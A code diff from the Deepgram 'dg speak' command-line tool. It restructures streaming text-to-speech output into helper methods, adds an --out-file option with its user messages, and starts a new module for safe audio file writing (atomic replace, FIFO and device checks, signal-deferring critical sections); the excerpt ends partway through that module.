+                encoding=encoding,
+                sample_rate=sample_rate,
+                speed=speed,
+                expressivity=expressivity,
+                player=player,
+                audio_file=audio_file,
             )
+        return self._speak_v1(
+            client,
+            text=text,
+            model=model,
+            encoding=encoding,
+            container=container,
+            sample_rate=sample_rate,
+            player=player,
+            audio_file=audio_file,
+        )
 
-            # Flux linear16 into a stdin-reading player: stream it. The
-            # player gets the streaming WAV header before the first frame and
-            # then every frame as Flux emits it, so sound starts at
-            # first-audio latency instead of after the whole utterance — the
-            # same framing `dg speak | ffplay -` relies on.
-            if (
-                player is not None
-                and player in _STDIN_PLAYER_ARGV
-                and eff_encoding == "linear16"
-            ):
-                console.print(f"[blue]Playing audio ({player})...[/blue]")
-                pcm = bytearray()
-                saved_bytes = 0
-                player_gone = False
-                try:
-                    with _player_stdin(player) as sink:
-                        wrote_header = False
-                        for chunk in stream:
-                            if not chunk:
-                                continue
-                            if output_path:
-                                pcm.extend(chunk)
-                            if player_gone:
-                                continue
-                            try:
-                                if not wrote_header:
-                                    sink.write(
-                                        _streaming_wav_header(
-                                            sample_rate=int(eff_sample_rate)
-                                        )
-                                    )
-                                    wrote_header = True
-                                sink.write(chunk)
-                                sink.flush()
-                            except BrokenPipeError:
-                                # The player exited first (ffplay's "q", for
-                                # instance). That is the user stopping
-                                # playback, not a failure. With -o, keep
-                                # draining so the file is still complete;
-                                # otherwise stop and close the stream.
-                                player_gone = True
-                                if not output_path:
-                                    break
-
-                        if output_path and pcm:
-                            # Save before waiting on the player (that wait
-                            # happens on leaving this block), so stopping
-                            # playback still leaves the file behind. The file
-                            # gets a real, exact-length header rather than the
-                            # streaming placeholder the player was handed.
-                            audio_bytes = _pcm_to_wav(
-                                bytes(pcm), sample_rate=int(eff_sample_rate)
-                            )
-                            Path(output_path).write_bytes(audio_bytes)
-                            saved_bytes = len(audio_bytes)
-                except click.ClickException:
-                    raise
-                except Exception as e:
-                    raise click.ClickException(f"Flux streaming failed: {e}")
-                finally:
-                    _close(stream)
-
-                if prog.total == 0:
-                    raise click.ClickException(
-                        "Flux (Speak v2) streaming returned no audio."
-                    )
+    # ── Flux (Speak v2, WebSocket streaming) ──────────────────────────
 
-                if output_path:
-                    console.print(
-                        f"[green]Audio saved to {output_path}[/green] "
-                        f"({saved_bytes:,} bytes — {prog.timing()})"
-                    )
-                else:
-                    console.print(
-                        f"[green]✓ Played {prog.total:,} bytes[/green] "
-                        f"({prog.timing()})"
-                    )
-                return SpeakResult(
-                    status="success",
-                    message=(
-                        f"Audio saved to {output_path}"
-                        if output_path
-                        else f"Played {prog.total:,} bytes"
-                    ),
-                    output_path=output_path or "",
+    def _speak_flux(
+        self,
+        client: DeepgramClient,
+        *,
+        text: str,
+        model: str,
+        encoding: str | None,
+        sample_rate: float | None,
+        speed: float | None,
+        expressivity: int | None,
+        player: str | None,
+        audio_file: sinks.AudioFile | None,
+    ) -> BaseResult | SpeakCodedError | None:
+        # Streaming output is raw audio, so default to linear16 @ 24kHz and
+        # wrap it in WAV for playback. These paths raise (rather than
+        # returning an error result) so a failure exits non-zero and is
+        # visible in every output format.
+        eff_encoding = encoding or "linear16"
+        if eff_encoding not in ("linear16", "mulaw", "alaw"):
+            raise click.ClickException(
+                f"Flux voices stream raw audio, so --encoding {eff_encoding} "
+                "isn't available. Use linear16 (the default), mulaw or alaw."
+            )
+        rate = int(sample_rate or 24000.0)
+
+        # A live byte counter + time-to-first-audio on stderr, so the stream
+        # is visibly arriving rather than a single static line.
+        prog = _StreamProgress(model)
+        raw = client.speak_text_stream(
+            text=text,
+            model=model,
+            encoding=eff_encoding,
+            sample_rate=float(rate),
+            speed=speed,
+            expressivity=expressivity,
+        )
+        stream = prog.track(raw)
+        try:
+            if player in _STDIN_PLAYER_ARGV and eff_encoding == "linear16":
+                assert player is not None
+                return self._flux_play_streaming(
+                    stream,
+                    prog,
+                    player=player,
+                    rate=rate,
+                    audio_file=audio_file,
                     model=model,
-                    bytes_written=saved_bytes or prog.total,
-                    played=True,
                 )
+            if audio_file is not None or player:
+                return self._flux_buffered(
+                    stream,
+                    prog,
+                    player=player,
+                    rate=rate,
+                    encoding=eff_encoding,
+                    audio_file=audio_file,
+                    model=model,
+                )
+            return self._flux_to_stdout(
+                stream,
+                prog,
+                header=(
+                    _streaming_wav_header(sample_rate=rate)
+                    if eff_encoding == "linear16"
+                    else b""
+                ),
+            )
+        except click.ClickException:
+            raise
+        except _SINK_ERRORS:
+            raise
+        except Exception as e:
+            raise click.ClickException(f"Flux streaming failed: {e}")
+        finally:
+            _close(stream, raw)
 
-            if output_path or player:
-                # Saving, or playing through afplay (which has no stdin mode),
-                # needs the full utterance: a WAV file must declare its data
-                # length in the header (known only once the stream ends), and
-                # afplay is handed a complete file. So buffer, then wrap once
-                # and reuse for both sinks.
-                pcm = bytearray()
+    def _flux_play_streaming(
+        self,
+        stream: Iterator[bytes],
+        prog: _StreamProgress,
+        *,
+        player: str,
+        rate: int,
+        audio_file: sinks.AudioFile | None,
+        model: str,
+    ) -> BaseResult:
+        """Flux linear16 into a stdin-reading player, frame by frame.
+
+        The player gets the streaming WAV header before the first frame and
+        then every frame as Flux emits it, so sound starts at first-audio
+        latency — the same framing `dg speak | ffplay -` relies on. A file
+        gets the exact-length WAV once the stream ends; it is created on
+        the first frame.
+        """
+        console.print(f"[blue]Playing audio ({player})...[/blue]")
+        pcm = bytearray()
+        header = _streaming_wav_header(sample_rate=rate)
+        player_gone = False
+        with _player_stdin(player) as sink:
+            for chunk in stream:
+                if not chunk:
+                    continue
+                if audio_file is not None:
+                    audio_file.open()
+                    pcm.extend(chunk)
+                if player_gone:
+                    continue
                 try:
-                    for chunk in stream:
-                        pcm.extend(chunk)
-                except click.ClickException:
-                    raise
-                except Exception as e:
-                    raise click.ClickException(f"Flux streaming failed: {e}")
-
-                if not pcm:
-                    # No audio means the stream errored upstream or returned
-                    # nothing. Wrapping empty PCM yields a valid header-only
-                    # WAV, so guard rather than report success on a silent file.
-                    raise click.ClickException(
-                        "Flux (Speak v2) streaming returned no audio."
-                    )
+                    if header:
+                        sink.write(header)
+                        header = b""
+                    sink.write(chunk)
+                    sink.flush()
+                except BrokenPipeError:
+                    # The player exited first (ffplay's "q"): the user
+                    # stopped playback, not a failure. With a file, keep
+                    # draining so it is complete; otherwise stop.
+                    player_gone = True
+                    if audio_file is None:
+                        break
+
+            if audio_file is not None and pcm:
+                # Save before waiting on the player (on leaving this block),
+                # so stopping playback still leaves the file behind.
+                audio_file.write(_pcm_to_wav(bytes(pcm), sample_rate=rate))
+                audio_file.commit()
+
+        if prog.total == 0:
+            raise click.ClickException(
+                "Deepgram returned no audio. Try again, or try another --model."
+            )
 
-                if eff_encoding == "linear16":
-                    audio_bytes = _pcm_to_wav(
-                        bytes(pcm), sample_rate=int(eff_sample_rate)
-                    )
-                else:
-                    audio_bytes = bytes(pcm)
-
-                total_bytes = len(audio_bytes)
-                if output_path:
-                    Path(output_path).write_bytes(audio_bytes)
-                    console.print(
-                        f"[green]Audio saved to {output_path}[/green] "
-                        f"({total_bytes:,} bytes — {prog.timing()})"
-                    )
+        if audio_file is not None:
+            self._saved(audio_file, f"{prog.timing()}")
+        else:
+            console.print(
+                f"[green]✓ Played {prog.total:,} bytes[/green] ({prog.timing()})"
+            )
+        return _speak_result(
+            audio_file,
+            model=model,
+            bytes_written=(audio_file.bytes_written if audio_file else 0) or prog.total,
+            played=True,
+        )
 
-                if player:
-                    suffix = _play_suffix(
-                        is_flux=True, encoding=eff_encoding, container=None
-                    )
-                    console.print(f"[blue]Playing audio ({player})...[/blue]")
-                    _play_audio(player, audio_bytes, suffix=suffix)
-
-                return SpeakResult(
-                    status="success",
-                    message=(
-                        f"Audio saved to {output_path}"
-                        if output_path
-                        else f"Played {total_bytes:,} bytes"
-                    ),
-                    output_path=output_path or "",
-                    model=model,
-                    bytes_written=total_bytes,
-                    played=bool(player),
-                )
+    def _flux_buffered(
+        self,
+        stream: Iterator[bytes],
+        prog: _StreamProgress,
+        *,
+        player: str | None,
+        rate: int,
+        encoding: str,
+        audio_file: sinks.AudioFile | None,
+        model: str,
+    ) -> BaseResult:
+        """Flux into a file and/or afplay: both need the whole utterance.
 
-            # Pipe path — write each chunk to stdout as it arrives so a
-            # downstream player starts on the first frame (the point of
-            # "streaming by default"). For linear16 we emit a streaming WAV
-            # header before the first frame so `| ffplay -` plays with no
-            # extra flags; raw mulaw/alaw stream as-is.
-            header = (
-                _streaming_wav_header(sample_rate=int(eff_sample_rate))
-                if eff_encoding == "linear16"
-                else b""
+        A WAV file declares its data length in the header, known only once
+        the stream ends, and afplay is handed a complete file. The file is
+        still created when the first frame arrives.
+        """
+        pcm = bytearray()
+        for chunk in stream:
+            if chunk and audio_file is not None:
+                audio_file.open()
+            pcm.extend(chunk)
+
+        if not pcm:
+            # Wrapping empty PCM yields a valid header-only WAV, so guard
+            # rather than report success on a silent file.
+            raise click.ClickException(
+                "Deepgram returned no audio. Try again, or try another --model."
             )
-            try:
-                _, outcome = self._stream_to_stdout(stream, header=header)
-            except click.ClickException:
-                raise
-            except Exception as e:
-                raise click.ClickException(f"Flux streaming failed: {e}")
-            finally:
-                _close(stream)
-            if outcome is not True:
-                # The reader went away (quiet, exit 0) or stdout failed.
-                return outcome or None
 
-            if prog.total == 0:
-                # Guard before anything is written: the header is only emitted
-                # on the first frame, so a no-audio stream writes nothing.
-                raise click.ClickException(
-                    "Flux (Speak v2) streaming returned no audio."
-                )
+        if encoding == "linear16":
+            audio_bytes = _pcm_to_wav(bytes(pcm), sample_rate=rate)
+        else:
+            audio_bytes = bytes(pcm)
 
-            console.print(
-                f"[green]✓ Streamed {prog.total:,} bytes to stdout[/green] "
-                f"({prog.timing()})"
+        if audio_file is not None:
+            audio_file.write(audio_bytes)
+            audio_file.commit()
+            self._saved(audio_file, prog.timing())
+
+        if player:
+            suffix = _play_suffix(is_flux=True, encoding=encoding, container=None)
+            console.print(f"[blue]Playing audio ({player})...[/blue]")
+            _play_audio(player, audio_bytes, suffix=suffix)
+
+        return _speak_result(
+            audio_file, model=model, bytes_written=len(audio_bytes), played=bool(player)
+        )
+
+    def _flux_to_stdout(
+        self, stream: Iterator[bytes], prog: _StreamProgress, *, header: bytes
+    ) -> SpeakCodedError | None:
+        """Pipe path: each frame goes to stdout as it arrives, after the
+        streaming WAV header for linear16 (so `| ffplay -` plays with no
+        extra flags); raw mulaw/alaw stream as-is."""
+        _, outcome = self._stream_to_stdout(stream, header=header)
+        if outcome is not True:
+            # The reader went away (quiet, exit 0) or stdout failed.
+            return outcome or None
+
+        if prog.total == 0:
+            # The header is only emitted on the first frame, so a no-audio
+            # stream wrote nothing.
+            raise click.ClickException(
+                "Deepgram returned no audio. Try again, or try another --model."
             )
-            # Return None so the framework skips output_result: in agentic/CI
-            # (or --output json) mode it would serialize the result to the
-            # stdout console — i.e. append JSON to the audio we just streamed,
-            # corrupting a `> out.wav` redirect. The summary above already went
-            # to the stderr console.
-            return None
 
-        # REST path (Speak v1, including Aura and unknown-model pass-through).
-        # Each chunk goes on as the SDK yields it: to stdout (flushed), or to
-        # a stdin-reading player, so neither waits for the whole utterance.
+        console.print(
+            f"[green]✓ Streamed {prog.total:,} bytes to stdout[/green] "
+            f"({prog.timing()})"
+        )
+        # Return None so the framework skips output_result: in agentic/CI
+        # (or --output json) mode it would serialize the result to the
+        # stdout console — i.e. append JSON to the audio we just streamed,
+        # corrupting a `> out.wav` redirect.
+        return None
+
+    # ── Speak v1 (REST) ───────────────────────────────────────────────
+
+    def _speak_v1(
+        self,
+        client: DeepgramClient,
+        *,
+        text: str,
+        model: str,
+        encoding: str | None,
+        container: str | None,
+        sample_rate: float | None,
+        player: str | None,
+        audio_file: sinks.AudioFile | None,
+    ) -> BaseResult | SpeakCodedError | None:
+        """Speak v1, including Aura and unknown-model pass-through. Each
+        chunk goes on as the SDK yields it: to stdout (flushed), to a
+        stdin-reading player, and to the file, so none of them waits for
+        the whole utterance."""
         console.print(f"[blue]Generating speech with {model}...[/blue]")
         try:
             audio_iter = client.speak_text(
@@ -953,34 +1566,30 @@ def handle(
 
         try:
             if player in _STDIN_PLAYER_ARGV:
+                assert player is not None
                 return self._v1_play_streaming(
-                    audio_iter, player=player, output_path=output_path, model=model
+                    audio_iter, player=player, audio_file=audio_file, model=model
                 )
             if player:
                 return self._v1_play_buffered(
                     audio_iter,
                     player=player,
-                    output_path=output_path,
+                    audio_file=audio_file,
                     model=model,
                     encoding=encoding,
                     container=container,
                 )
-            if output_path:
-                total_bytes = 0
-                with open(Path(output_path), "wb") as f:
-                    for chunk in audio_iter:
-                        f.write(chunk)
-                        total_bytes += len(chunk)
-
-                console.print(
-                    f"[green]Audio saved to {output_path}[/green] ({total_bytes:,} bytes)"
-                )
-                return SpeakResult(
-                    status="success",
-                    message=f"Audio saved to {output_path}",
-                    output_path=output_path,
-                    model=model,
-                    bytes_written=total_bytes,
+            if audio_file is not None:
+                for chunk in audio_iter:
+                    audio_file.write(chunk)
+                if not audio_file.bytes_written:
+                    return _fail(
+                        "Deepgram returned no audio. Try again, or try another --model."
+                    )
+                audio_file.commit()
+                self._saved(audio_file)
+                return _speak_result(
+                    audio_file, model=model, bytes_written=audio_file.bytes_written
                 )
 
             total_bytes, outcome = self._stream_to_stdout(audio_iter)
@@ -990,12 +1599,13 @@ def handle(
             console.print(f"[green]✓ Wrote {total_bytes:,} bytes to stdout[/green]")
             # Return None so the framework skips output_result — otherwise
             # agentic/CI (or --output json) mode serializes JSON onto the
-            # same stdout as the audio, corrupting a `> out` redirect. The
-            # summary above went to the stderr console.
+            # same stdout as the audio, corrupting a `> out` redirect.
             return None
 
         except click.ClickException:
             raise
+        except _SINK_ERRORS:
+            raise
         except Exception as e:
             # Raise (not return an error result) so the failure exits non-zero
             # in every output mode — a returned BaseResult is only printed and
@@ -1044,109 +1654,101 @@ def _v1_play_streaming(
         audio_iter: Iterator[bytes],
         *,
         player: str,
-        output_path: str | None,
+        audio_file: sinks.AudioFile | None,
         model: str,
     ) -> BaseResult:
         """Speak v1 into a stdin-reading player, chunk by chunk.
 
         The player is started before the request, so sound starts as the
-        first chunk arrives. With -o, every chunk also goes to the file.
+        first chunk arrives. With a file, every chunk also goes there.
         """
         console.print(f"[blue]Playing audio ({player})...[/blue]")
         total = 0
         player_gone = False
         try:
-            with (
-                _player_stdin(player) as sink,
-                open(Path(output_path), "wb")
-                if output_path
-                else nullcontext() as saved,
-            ):
+            with _player_stdin(player) as sink:
                 for chunk in audio_iter:
                     if not chunk:
                         continue
                     total += len(chunk)
-                    if saved is not None:
-                        saved.write(chunk)
+                    if audio_file is not None:
+                        audio_file.write(chunk)
                     if player_gone:
                         continue
                     try:
                         sink.write(chunk)
                         sink.flush()
                     except BrokenPipeError:
-                        # The user stopped playback (ffplay's "q"). With -o,
-                        # keep draining so the file is complete; otherwise
+                        # The user stopped playback (ffplay's "q"). With a
+                        # file, keep draining so it is complete; otherwise
                         # stop and close the response.
                         player_gone = True
-                        if saved is None:
+                        if audio_file is None:
                             break
                 if not total:
                     # Kill the player rather than hand it an empty stream.
                     raise _NoAudio
+                if audio_file is not None:
+                    # Before waiting on the player, so stopping playback
+                    # still leaves the file behind.
+                    audio_file.commit()
         except _NoAudio:
-            return _fail("TTS returned no audio.")
-
-        if output_path:
-            console.print(
-                f"[green]Audio saved to {output_path}[/green] ({total:,} bytes)"
+            return _fail(
+                "Deepgram returned no audio. Try again, or try another --model."
             )
-        return SpeakResult(
-            status="success",
-            message=(
-                f"Audio saved to {output_path}"
-                if output_path
-                else f"Played {total:,} bytes"
-            ),
-            output_path=output_path or "",
-            model=model,
-            bytes_written=total,
-            played=True,
-        )
+
+        if audio_file is not None:
+            self._saved(audio_file)
+        return _speak_result(audio_file, model=model, bytes_written=total, played=True)
 
     def _v1_play_buffered(
         self,
         audio_iter: Iterator[bytes],
         *,
         player: str,
-        output_path: str | None,
+        audio_file: sinks.AudioFile | None,
         model: str,
         encoding: str | None,
         container: str | None,
     ) -> BaseResult:
         """Speak v1 into a player that has no stdin mode (afplay).
 
-        It is handed a complete temp file, so the utterance is buffered.
+        It is handed a complete temp file, so the utterance is buffered; a
+        file still gets each chunk as it arrives.
         """
         audio = bytearray()
         for chunk in audio_iter:
+            if audio_file is not None:
+                audio_file.write(chunk)
             audio.extend(chunk)
         audio_bytes = bytes(audio)
-        total_bytes = len(audio_bytes)
 
         if not audio_bytes:
-            return _fail("TTS returned no audio.")
-
-        if output_path:
-            Path(output_path).write_bytes(audio_bytes)
-            console.print(
-                f"[green]Audio saved to {output_path}[/green] ({total_bytes:,} bytes)"
+            return _fail(
+                "Deepgram returned no audio. Try again, or try another --model."
             )
 
+        if audio_file is not None:
+            audio_file.commit()
+            self._saved(audio_file)
+
         suffix = _play_suffix(is_flux=False, encoding=encoding, container=container)
         console.print(f"[blue]Playing audio ({player})...[/blue]")
         _play_audio(player, audio_bytes, suffix=suffix)
 
-        return SpeakResult(
-            status="success",
-            message=(
-                f"Audio saved to {output_path}"
-                if output_path
-                else f"Played {total_bytes:,} bytes"
-            ),
-            output_path=output_path or "",
-            model=model,
-            bytes_written=total_bytes,
-            played=True,
+        return _speak_result(
+            audio_file, model=model, bytes_written=len(audio_bytes), played=True
+        )
+
+    @staticmethod
+    def _saved(audio_file: sinks.AudioFile, timing: str = "") -> None:
+        """The stderr summary for a saved file (none for stdout)."""
+        if audio_file.is_stdout:
+            return
+        extra = f" — {timing}" if timing else ""
+        console.print(
+            f"[green]Audio saved to {escape(audio_file.path)}[/green] "
+            f"({audio_file.bytes_written:,} bytes{extra})"
         )
 
     # ── Result on stdout ──────────────────────────────────────────────
diff --git a/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/messages.py b/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/messages.py
index 87f606a2..e732402d 100644
--- a/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/messages.py
+++ b/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/messages.py
@@ -8,6 +8,7 @@
 
 # ── Catalogue ──────────────────────────────────────────────────────────────
 
+CODE_INVALID_ARGUMENT = "invalid_argument"
 CODE_OUTPUT_UNWRITABLE = "output_unwritable"
 
 # output_unwritable: a write to stdout or the audio file failed.
@@ -22,3 +23,57 @@
     "user {prog} couldn't write its output ({reason}), and don't retry until "
     "it's fixed."
 )
+
+# invalid_argument: --out-file is stdout and -o json/yaml was asked for.
+# {format} is JSON or YAML.
+E_STDOUT_BYTES = (
+    "{prog} {command_path} would write the audio to stdout, so there's no room "
+    "for the {format} result."
+)
+H_STDOUT_BYTES = (
+    "Give --out-file a different file from stdout, or don't ask for {format} output."
+)
+
+# invalid_argument: --out-file names an existing file and --force is absent.
+E_OUT_FILE_EXISTS = "{out_file} already exists; {prog} won't overwrite it."
+H_OUT_FILE_EXISTS = "Choose a new file name, or pass --force to overwrite."
+
+# invalid_argument: speak -o given a bare output format.
+E_SPEAK_O_FORMAT = (
+    "{prog} speak -o is the audio file name, so -o {value} would write a file "
+    "named {value}."
+)
+H_SPEAK_O_FORMAT = (
+    "To choose the output format, put -o before the command: "
+    "{prog} -o {value} speak TEXT --out-file FILE."
+)
+
+# invalid_argument: speak -o text, which isn't a root format either.
+E_SPEAK_O_TEXT = "{prog} speak -o text would write the audio to a file named text."
+H_SPEAK_O_TEXT = (
+    "Pass --out-file FILE to save the audio. There's no text output format."
+)
+
+# invalid_argument: both -o/--output and --out-file.
+E_SPEAK_OUT_CONFLICT = (
+    "Use either --out-file or -o/--output for the audio file, not both."
+)
+H_SPEAK_OUT_CONFLICT = "Keep --out-file FILE and drop -o."
+
+# Deprecation notice for speak -o/--output FILE. Printed once per
+# process, on stderr, even under --quiet.
+D_SPEAK_OUTPUT = (
+    "{prog} speak -o/--output FILE will set the output format in 1.0. "
+    "Use --out-file FILE instead (add --force to overwrite, as -o does)."
+)
+
+# ── Legacy texts (0.4.x), now naming --out-file ────────────────────────────
+
+NO_OUTPUT_TTY = (
+    "No output specified. Use --out-file to save to a file, "
+    "--play to hear it, or pipe stdout."
+)
+PLAY_STDOUT_EMPTY = (
+    "--play sends the audio to your player, so stdout stays empty. "
+    "Add --out-file to save a file too."
+)
diff --git a/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/sinks.py b/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/sinks.py
new file mode 100644
index 00000000..9440c99a
--- /dev/null
+++ b/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/sinks.py
@@ -0,0 +1,538 @@
+"""Where ``dg speak`` writes an audio file (``--out-file``, or the deprecated
+``-o/--output``).
+
+Two halves:
+
+- :func:`plan_target` runs **before the request**. It ``lstat``s the path
+  and decides how the file will be written, or why it can't be: an
+  existing regular file or symlink without ``--force`` (``exists``); a
+  directory, or a parent that is missing or unwritable (``unwritable``).
+- :class:`AudioFile` opens the file **when the first chunk arrives**, so a
+  failed request or an empty stream leaves nothing behind, and removes
+  whatever it created when the run fails.
+
+How a target is written (``Target.kind``):
+
+``new``      ``O_CREAT | O_EXCL``, mode 0666 & ~umask. ``O_EXCL`` is the
+             race guard behind the ``lstat`` check.
+``replace``  ``--force`` (or ``-o``) over an existing file or symlink: a
+             0600 temp file in the same directory, given the old file's
+             permission bits (never setuid, setgid or sticky; 0666 & ~umask
+             in place of a symlink) and ``os.replace``d
+             over the path at the end. A symlink is replaced, never written
+             through; a failed run leaves the old file. The result is a new
+             inode, so hard links to the old file keep the old bytes.
+``special``  a character device or FIFO (``/dev/null``, a named pipe):
+             no ``O_EXCL``, no ``--force``. It is opened **before** the
+             request, non-blocking (a FIFO with no reader is refused, not
+             waited on), and the opened file must be the one that was
+             checked, so a path swapped for a regular file is never
+             written. Block devices and sockets are refused.
+``stdout``   the same file as stdout (``--out-file /dev/stdout``, final
+             check): the audio goes to fd 1 and nothing else does. On
+             the first chunk fd 1 must still be the file that was checked;
+             the path is not opened again.
+
+Also refused before the request: the same file as stderr, where dg's own
+messages go, and ``--force`` over a /dev/fd or /proc/<pid>/fd entry.
+"""
+
+from __future__ import annotations
+
+import errno
+import os
+import re
+import signal
+import stat
+import sys
+import threading
+from contextlib import contextmanager
+from dataclasses import dataclass
+from typing import TYPE_CHECKING, Any
+
+if TYPE_CHECKING:
+    from collections.abc import Iterator
+
+
+@dataclass(frozen=True)
+class Target:
+    path: str
+    kind: str  # "new" | "replace" | "special" | "stdout"
+    #: ``replace`` over a regular file: its permission bits, kept.
+    mode: int | None = None
+    #: ``special``: the descriptor opened and checked before the request.
+    fd: int | None = None
+    #: ``stdout``: (st_dev, st_ino) of the file that was checked.
+    ident: tuple[int, int] | None = None
+
+
+@dataclass(frozen=True)
+class Refusal:
+    """Why a target can't be written, decided before the request."""
+
+    reason: str  # "exists" | "unwritable"
+    error: OSError | None = None
+
+
+class Exists(Exception):
+    """The file appeared between the check and the open (``O_EXCL``)."""
+
+
+class WriteFailed(Exception):
+    """Writing the file (or stdout) failed; ``.error`` says why."""
+
+    def __init__(self, error: OSError, *, stdout: bool) -> None:
+        super().__init__(error)
+        self.error = error
+        self.stdout = stdout
+
+
+class ReaderGone(Exception):
+    """The reader of a pipe went away (EPIPE)."""
+
+
+def _stderr_stat() -> os.stat_result | None:
+    try:
+        return os.fstat(sys.stderr.fileno())
+    except Exception:
+        return None
+
+
+def stdout_stat() -> os.stat_result | None:
+    """``fstat`` of stdout, or ``None`` when it can't be read."""
+    try:
+        return os.fstat(sys.stdout.fileno())
+    except Exception:
+        return None
+
+
+def _oserror(code: int, path: str) -> OSError:
+    return OSError(code, os.strerror(code), path)
+
+
+def _read_umask() -> int:
+    """The process umask, read once when this module is imported.
+
+    Linux publishes it in /proc. Elsewhere (macOS) the only call that reads
+    it also sets it, so ``os.umask`` is used only while this is the sole
+    thread, which it is when the command module loads. If another thread
+    exists, the umask is measured instead: a throwaway file is created
+    with mode 0o777 and the bits the kernel removed are the umask.
+    """
+    try:
+        with open("/proc/self/status") as f:
+            for line in f:
+                if line.startswith("Umask:"):
+                    return int(line.split()[1], 8)
+    except (OSError, ValueError, IndexError):
+        pass
+    if threading.active_count() == 1:
+        mask = os.umask(0o022)
+        os.umask(mask)
+        return mask
+    import tempfile
+
+    probe = os.path.join(tempfile.gettempdir(), f".deepctl-umask-{os.getpid()}")
+    try:
+        fd = os.open(probe, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o777)
+        try:
+            return 0o777 & ~stat.S_IMODE(os.fstat(fd).st_mode)
+        finally:
+            os.close(fd)
+            os.unlink(probe)
+    except OSError:
+        return 0o022
+
+
+_UMASK = _read_umask()
+
+# The file types written as they are: character devices and FIFOs.
+# These follow "Couldn't write the output to FILE: " (details.reason).
+_NOT_SPECIAL = "it isn't a file, a pipe or a device like /dev/null"
+_CHANGED = "something replaced it before writing started"
+_STDERR = "it's stderr, which carries this command's messages"
+_FD_PATH = "--force can't replace a file descriptor path"
+_NO_READER = "no program is reading from that pipe"
+
+# Directories whose entries are open file descriptors: /dev/fd and
+# /proc/<pid>/fd. A temp file can't be created there, so --force can't
+# replace what they name.
+_FD_DIR = re.compile(r"/proc/(?:self|thread-self|\d+)(?:/task/\d+)?/fd")
+
+# ── Critical sections ───────────────────────────────────────────────────
+# Creating, committing and removing the file must not be cut short by a
+# signal, or a temp file or a 0-byte file could be left behind. Inside a
+# critical section (main thread only):
+#
+# - SIGINT, SIGTERM and SIGHUP are blocked for this thread with
+#   pthread_sigmask where it exists;
+# - a handler that knows about sections (marked ``_deepctl_defers``, like
+#   speak's signal guard) defers them through ``defer_signal``; any other
+#   handler, including the default action, is swapped for a recorder for
+#   the duration, since another thread can take the signal and Python then
+#   runs the handler on the main thread;
+# - when the outermost section ends, the most severe signal that arrived
+#   (SIGTERM, then SIGHUP, then SIGINT; the rest are dropped) is raised
+#   again with ``signal.raise_signal``, which never kills the process the
+#   way ``os.kill`` on our own pid does on Windows.
+#
+# A signal ignored with SIG_IGN, or held by a handler Python can't put
+# back (``getsignal`` returns None), is left alone.
+
+_PRIORITY = tuple(
+    sig
+    for sig in (
+        getattr(signal, "SIGTERM", None),
+        getattr(signal, "SIGHUP", None),
+        getattr(signal, "SIGINT", None),
+    )
+    if sig is not None
+)
+_critical = 0
+_deferred: list[int] = []
+
+
+def _record(signum: int, _frame: object) -> None:
+    _deferred.append(signum)
+
+
+_record._deepctl_defers = True  # type: ignore[attr-defined]
+
+
+def most_severe(signals: list[int]) -> int | None:
+    """The signal to act on from several: SIGTERM > SIGHUP > SIGINT."""
+    for sig in _PRIORITY:
+        if sig in signals:
+            return int(sig)
+    return signals[0] if signals else None
+
+
+def _set_mask(how: int) -> set[int] | None:
+    if not hasattr(signal, "pthread_sigmask"):
+        return None
+    try:
+        return set(signal.pthread_sigmask(how, _PRIORITY))
+    except (OSError, ValueError):
+        return None
+
+
+@contextmanager
+def critical_section() -> Iterator[None]:
+    global _critical
+    main = threading.current_thread() is threading.main_thread()
+    # Count first: a pending handler that runs inside the calls below then
+    # defers instead of raising, so the cleanup in ``finally`` always runs.
+    _critical += 1
+    blocked: set[int] | None = None
+    swapped: dict[int, Any] = {}
+    try:
+        if main and _critical == 1:
+            blocked = _set_mask(signal.SIG_BLOCK)
+            for sig in _PRIORITY:
+                current = signal.getsignal(sig)
+                if current is signal.SIG_IGN or current is None:
+                    continue
+                if getattr(current, "_deepctl_defers", False):
+                    continue
+                signal.signal(sig, _record)
+                swapped[sig] = current
+        yield
+    finally:
+        try:
+            restore_handlers(swapped)
+        finally:
+            try:
+                if blocked is not None:
+                    # Restored while still inside the section, so a handler
+                    # that knows about sections defers rather than raising
+                    # past this. The call sets the mask, then runs pending
+                    # handlers; one that raises still leaves the mask set.
+                    signal.pthread_sigmask(signal.SIG_SETMASK, blocked)
+            finally:
+                _critical -= 1
+                if not _critical and _deferred:
+                    signum = most_severe(_deferred)
+                    _deferred.clear()
+                    if signum is not None and main:
+                        signal.raise_signal(signum)
+
+
+def restore_handlers(saved: dict[int, Any]) -> None:
+    """Put every saved handler back. ``signal.signal`` runs a pending
+    handler before it switches; if that handler raises, the switch didn't
+    happen, so it is retried, and the exception (that signal, delivered)
+    is raised once every handler is back."""
+    caught: BaseException | None = None
+    for sig, previous in saved.items():
+        for _ in range(3):
+            try:
+                signal.signal(sig, previous)
+                break
+            except BaseException as exc:
+                caught = caught or exc
+    if caught is not None:
+        raise caught
+
+
+def defer_signal(signum: int) -> bool:
+    """For a signal handler: inside a critical section, remember the signal
+    (the most severe one is raised again when the section ends) and return
+    True."""
+    if not _critical:
+        return False
+    _deferred.append(signum)
+    return True
+
+
+def _is_special(mode: int) -> bool:
+    return stat.S_ISCHR(mode) or stat.S_ISFIFO(mode)
+
+
+def _open_special(path: str, checked: os.stat_result) -> Target | Refusal:
+    """Open a device or FIFO now, before the request, and make sure the
+    opened file is the one that was checked.
+
+    Non-blocking, so a FIFO with no reader fails with ENXIO instead of
+    hanging; blocking mode is restored for the writes.
+    """
+    flags = (
+        os.O_WRONLY
+        | getattr(os, "O_NONBLOCK", 0)
+        | getattr(os, "O_NOCTTY", 0)
+        | getattr(os, "O_CLOEXEC", 0)
+    )
+    try:
+        fd = os.open(path, flags)
+    except OSError as exc:
+        if exc.errno == errno.ENXIO and stat.S_ISFIFO(checked.st_mode):
+            # The OS text ("No such device or address") is misleading here.
+            exc = OSError(errno.ENXIO, _NO_READER, path)
+        return Refusal("unwritable", exc)
+    try:
+        opened = os.fstat(fd)
+        if not os.path.samestat(opened, checked) or not _is_special(opened.st_mode):
+            raise OSError(errno.EEXIST, _CHANGED, path)
+        os.set_blocking(fd, True)
+    except OSError as exc:
+        os.close(fd)
+        return Refusal("unwritable", exc)
